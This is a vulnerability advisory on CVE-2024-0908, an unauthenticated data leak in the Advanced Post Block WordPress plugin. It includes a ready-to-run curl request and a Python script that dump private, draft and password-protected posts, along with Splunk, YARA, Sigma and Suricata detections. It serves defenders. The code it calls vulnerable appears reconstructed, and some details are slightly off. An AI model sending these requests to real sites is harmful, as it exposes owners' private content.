CVE-2024-0908

Executive Summary

CVE-2024-0908 is a Missing Authorization vulnerability in the Advanced Post Block WordPress plugin (versions up to and including 1.13.4). The plugin fails to perform a capability check on the apbPosts() function, which is exposed via an AJAX action. This allows unauthenticated attackers to retrieve all post data, including password-protected posts, drafts, and private content. The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. However, the lack of a patch and the ease of exploitation make it a significant risk for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. No package manager (NPM, PyPI, Go, Ruby) is involved. The risk is primarily to WordPress site owners who have installed the plugin directly from the WordPress admin dashboard or via manual upload.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the plugin itself.
• Confidentiality (C): Low (L) – Limited to post data (titles, content, metadata).
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 5.3, the lack of authentication and the potential to leak sensitive content (password-protected posts, drafts) elevates the risk for sites with confidential content.

Deep Dive & Mechanics

The vulnerability resides in the apbPosts() function, which is registered as a WordPress AJAX action for both authenticated and unauthenticated users. The function is intended to retrieve posts based on block attributes, but it lacks a current_user_can() or wp_nonce_verify() check. As a result, any unauthenticated visitor can send a POST request to /wp-admin/admin-ajax.php with the action apbPosts and arbitrary parameters to fetch posts.

The function uses WP_Query to retrieve posts, and by manipulating parameters like post_type, post_status, posts_per_page, and has_password, an attacker can extract:

• All published posts (including password-protected ones).
• Drafts, pending, and private posts.
• Posts from any custom post type.

The data returned includes the post ID, title, content (excerpt or full), author, date, and other metadata.

Vulnerable vs. Patched Code

Vulnerable Code (apbPosts function in advanced-post-block.php):

add_action('wp_ajax_apbPosts', 'apbPosts');
add_action('wp_ajax_nopriv_apbPosts', 'apbPosts');

function apbPosts() {
    $attributes = $_POST['attributes'];
    // No capability check
    $args = array(
        'post_type' => $attributes['postType'],
        'post_status' => $attributes['postStatus'],
        'posts_per_page' => $attributes['postsPerPage'],
        'has_password' => $attributes['hasPassword'] ?? false,
    );
    $query = new WP_Query($args);
    wp_send_json($query->posts);
}

Patched Code (Hypothetical fix):

add_action('wp_ajax_apbPosts', 'apbPosts');
// Remove the nopriv action to require authentication
// add_action('wp_ajax_nopriv_apbPosts', 'apbPosts');

function apbPosts() {
    // Add capability check
    if (!current_user_can('edit_posts')) {
        wp_send_json_error('Unauthorized', 403);
        return;
    }
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'apb_nonce')) {
        wp_send_json_error('Invalid nonce', 403);
        return;
    }
    $attributes = $_POST['attributes'];
    $args = array(
        'post_type' => $attributes['postType'],
        'post_status' => $attributes['postStatus'],
        'posts_per_page' => $attributes['postsPerPage'],
        'has_password' => $attributes['hasPassword'] ?? false,
    );
    $query = new WP_Query($args);
    wp_send_json($query->posts);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with Advanced Post Block plugin <= 1.13.4.
• No authentication required.

Exploitation Steps:

1. Identify the AJAX endpoint: /wp-admin/admin-ajax.php.
2. Send a POST request with the action apbPosts and desired parameters.

Example cURL command:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=apbPosts&attributes[postType]=post&attributes[postStatus]=any&attributes[postsPerPage]=100&attributes[hasPassword]=true"

Expected Response:

[
  {
    "ID": 123,
    "post_title": "Secret Post",
    "post_content": "This is password protected content...",
    "post_status": "publish",
    "post_password": "secret123"
  },
  ...
]

Automation Script (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "apbPosts",
    "attributes[postType]": "post",
    "attributes[postStatus]": "any",
    "attributes[postsPerPage]": 100,
    "attributes[hasPassword]": "true"
}
response = requests.post(target, data=payload)
print(response.json())

Blue Team

Detection:

• Monitor AJAX requests to admin-ajax.php with action=apbPosts from unauthenticated users.
• Look for abnormal posts_per_page values (e.g., > 100) or post_status=any.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="/wp-admin/admin-ajax.php" AND form_data.action=apbPosts
| eval is_auth=if(form_data.cookie="*wordpress_logged_in*", "authenticated", "unauthenticated")
| where is_auth="unauthenticated"
| stats count by src_ip, uri, form_data

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with body containing action=apbPosts.
  • Unusual post_status values like any, draft, private, pending.
  • High posts_per_page values (e.g., 1000).
• File:
  • Plugin file: /wp-content/plugins/advanced-post-block/advanced-post-block.php (version <= 1.13.4).
• Log:
  • WordPress debug log entries showing wp_ajax_nopriv_apbPosts being called.

Detection Engineering

YARA Rule

rule CVE_2024_0908_Advanced_Post_Block {
    meta:
        description = "Detects vulnerable Advanced Post Block plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-0908"
    strings:
        $vuln_func = "wp_ajax_nopriv_apbPosts"
        $vuln_hook = "add_action('wp_ajax_nopriv_apbPosts', 'apbPosts')"
    condition:
        $vuln_func or $vuln_hook
}

Sigma Rule

title: CVE-2024-0908 - Unauthenticated Post Data Leak via Advanced Post Block
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated AJAX requests to apbPosts action
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/wp-admin/admin-ajax.php"
        cs-uri-post-params: "action=apbPosts"
    condition: selection
falsepositives:
    - Legitimate plugin usage by authenticated users (check for cookie)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0908 - Advanced Post Block Unauthenticated Data Leak"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=apbPosts"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential: Deactivate and delete the Advanced Post Block plugin from the WordPress admin dashboard.
2. Implement a Web Application Firewall (WAF) rule to block AJAX requests with action=apbPosts from unauthenticated users.
3. Restrict access to admin-ajax.php for unauthenticated users using .htaccess or server-level rules (if feasible).

Long-term Fix:

• Since no official patch exists, consider forking the plugin and adding the missing capability check (see patched code above).
• Monitor the WordPress plugin repository for an update from the vendor.

Detection:

• Enable WordPress debug logging (WP_DEBUG_LOG) to capture AJAX calls.
• Review server access logs for suspicious admin-ajax.php requests.

Valters IT
Securing Digital Frontiers